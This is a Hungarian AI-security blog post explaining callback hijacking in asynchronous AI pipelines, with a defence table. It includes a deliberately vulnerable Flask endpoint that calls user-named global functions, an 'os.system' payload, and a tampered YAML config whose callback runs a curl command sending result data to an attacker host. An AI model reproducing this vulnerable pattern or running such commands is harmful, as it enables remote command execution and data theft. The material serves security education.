32.4.4. Visszahívások (callback) eltérítése

2025.10.06.
AI Biztonság Blog

Amíg egy aszinkron feladat, például egy komplex modell futtatása vagy egy adatbázis-tranzakció zajlik, a rendszer egyfajta bizalmi vákuumban van. A támadó számára a kérdés nem az, hogy a feladat lefut-e, hanem az, hogy mi történik utána. A visszahívási függvények (callbackek) eltérítése pontosan ezt a bizalmi rést használja ki, megragadva az irányítást a feldolgozási lánc egy kritikus, késleltetett pontján.

Kapcsolati űrlap

AI Biztonság kérdésed van? Itt elérsz minket:

A callback eltérítés lényege, hogy a támadó képes befolyásolni, melyik kódrészlet hajtódik végre egy aszinkron művelet befejeztével. Ez nem egy klasszikus kódbefecskendezés; sokkal inkább a végrehajtási folyamat logikai manipulációja, ahol a rendszer megbízik egy olyan mutatóban vagy hivatkozásban, amit a támadó korábban módosított.

A Callback Eltérítés Anatómia

Egy tipikus aszinkron folyamatban a rendszer elindít egy hosszú ideig tartó feladatot, és megad egy függvényt, amelyet a feladat befejeztével kell meghívni. Ez a „callback” kezeli az eredményt, naplóz, vagy elindít egy következő lépést. A támadás célja, hogy a legitim callback helyett egy rosszindulatú, támadó által kontrollált függvény fusson le.

Normál Működés 1. Kérés érkezik 2. Aszinkron feladat (pl. modell inferencia) 3. Legitim Callback `process_result()` 4. Feldolgozott válasz Eltérített Működés 1. Kérés érkezik 2. Aszinkron feladat (pl. modell inferencia) 3. Eltérített Callback `leak_data()` 4. Adatszivárgás

Főbb Támadási Vektorok

A callback eltérítésének módja nagyban függ az alkalmazás architektúrájától, a használt programozási nyelvtől és a keretrendszertől. Nézzünk néhány gyakori megközelítést.

Paraméter-szennyezés (Parameter Pollution)

Ez a legegyszerűbb forma, ahol a támadó közvetlenül a kérés paraméterein keresztül adja meg a végrehajtandó callback függvény nevét vagy elérési útját. Ez különösen veszélyes dinamikusan típusos nyelvekben (pl. Python, JavaScript), ahol a függvényhívásokat futásidőben lehet összeállítani stringekből.

# Pszeudokód egy sebezhető Python Flask végponthoz
@app.route('/process', methods=['POST'])
def process_data():
 data = request.json['data']
 # A callback nevét a felhasználó adja meg, kritikus hiba!
 callback_name = request.json['callback_function']

 # Dinamikus függvényhívás a globális névtérből
 callback_func = globals().get(callback_name)

 if callback_func:
 # Elindítunk egy aszinkron feladatot a "megbízható" callbackkel
 run_long_task_async(data, callback_func)
 return {"status": "processing"}, 202
 else:
 return {"error": "Invalid callback"}, 400

A támadó egy {"data": "...", "callback_function": "os.system"} payload küldésével elérheti, hogy a feladat végeztével tetszőleges operációs rendszer parancs fusson le.

Prototípus-szennyezés (Prototype Pollution)

JavaScript-alapú környezetekben (pl. Node.js) a prototípus-szennyezés egy rendkívül alattomos módja a callback eltérítésnek. Ha a támadó képes módosítani egy alapvető objektum (pl. Object.prototype) prototípusát, akkor olyan tulajdonságokat adhat hozzá, amelyeket a kód később callbackként értelmezhet és végrehajthat, még akkor is, ha a fejlesztő nem számított rá.

Konfiguráció-injekció

Sok modern MI rendszer a feldolgozási láncokat és a hozzájuk tartozó callbackeket konfigurációs fájlokban (pl. YAML, JSON, TOML) definiálja. Ha a támadó bármilyen módon (pl. LFI, rosszul konfigurált admin felület) képes írni ezeket a fájlokat, akkor egyszerűen átírhatja a legitim callback függvény nevét egy általa preferáltra. Ez a támadás perzisztens, és a rendszer újraindítása után is aktív marad.

Esetpélda: Konfiguráción keresztüli eltérítés

Egy képfeldolgozó pipeline YAML konfigurációja:

# Eredeti, biztonságos konfiguráció
pipeline:
 - name: "resize_image"
 - name: "run_inference"
 on_success:
 callback: "save_to_database"
 - name: "notify_user"

A támadó által módosított, rosszindulatú verzió:

# Módosított, rosszindulatú konfiguráció
pipeline:
 - name: "resize_image"
 - name: "run_inference"
 on_success:
 callback: "execute_shell_command" # Eltérített callback
 params: ["curl -d @result.json http://attacker.com/leak"]
 - name: "notify_user"

MI-specifikus Következmények

A callback eltérítése egy MI rendszerben különösen súlyos következményekkel járhat, mivel ezek a függvények gyakran hozzáférnek érzékeny adatokhoz és nagy számítási kapacitáshoz.

  • Eredmények csendes manipulálása: Az eltérített callback módosíthatja a modell kimenetét, mielőtt az naplózásra vagy a felhasználóhoz továbbításra kerülne. Például egy csalásdetekciós modell „normál” eredményét átírhatja „gyanús”-ra, vagy fordítva.
  • Adatszivárogtatás: A callback hozzáfér a modell bemenetéhez (a feldolgozott adathoz) és kimenetéhez (az eredményhez). Egy rosszindulatú callback könnyedén kiszivárogtathatja ezeket egy külső szerverre.
  • Modell-lopás vagy -mérgezés láncolása: A támadó a callbacket használhatja egy következő támadási lépés elindítására, például egy háttérfolyamat indítására, amely a modell súlyait próbálja meg kinyerni, vagy további mérgezett adatokat juttat a betanítási ciklusba.
  • Privilégium-kiterjesztés: Ha az aszinkron feladatokat feldolgozó worker folyamatok magasabb jogosultságokkal futnak (ami rossz gyakorlat, de előfordul), a callback eltérítése teljes rendszerkompromittáláshoz vezethet.

Védekezési Stratégiák

A callback eltérítése elleni védekezés alapja a „soha ne bízz a bemenetben” elv kiterjesztése a végrehajtási logikára is.

Stratégia Leírás Hatékonyság
Engedélyezési lista (Whitelisting) Ahelyett, hogy dinamikusan hívnánk meg a callbacket a bemenet alapján, használjunk egy előre definiált, szigorúan korlátozott listát vagy egy map/dictionary struktúrát a lehetséges callbackekre. A bemenet csak egy kulcs lehet ebben a listában. Nagyon magas
Szigorú típus- és sémaellenőrzés Minden bemeneti adatot (beleértve a JSON/YAML payloadokat) validáljunk egy szigorú séma alapján. Ne engedélyezzünk váratlan mezőket (pl. `callback_function`). Magas
Konfigurációs fájlok integritásának védelme A konfigurációs fájlokat kezeljük kódként. Legyenek verziókövetettek, és a telepítési folyamat során ellenőrizzük az integritásukat (pl. hash segítségével). Korlátozzuk az írási jogosultságokat. Magas
Minimális jogosultság elve (Principle of Least Privilege) A callback függvényeket végrehajtó workerek csak a legszükségesebb jogosultságokkal rendelkezzenek. Ne futtassuk őket root vagy adminisztrátori fiókkal. Használjunk konténerizációt és sandbox környezeteket. Magas

Figyelem: A callback egy bizalmi határvonal

Tekints minden callback függvényt egy potenciális sebezhetőségi pontnak. Az aszinkron művelet elindítása és a callback végrehajtása között eltelt idő egy támadási ablakot nyit. A rendszered biztonsága attól függ, mennyire tudod garantálni, hogy ebben az ablakban senki sem cseréli ki a zárat az ajtón.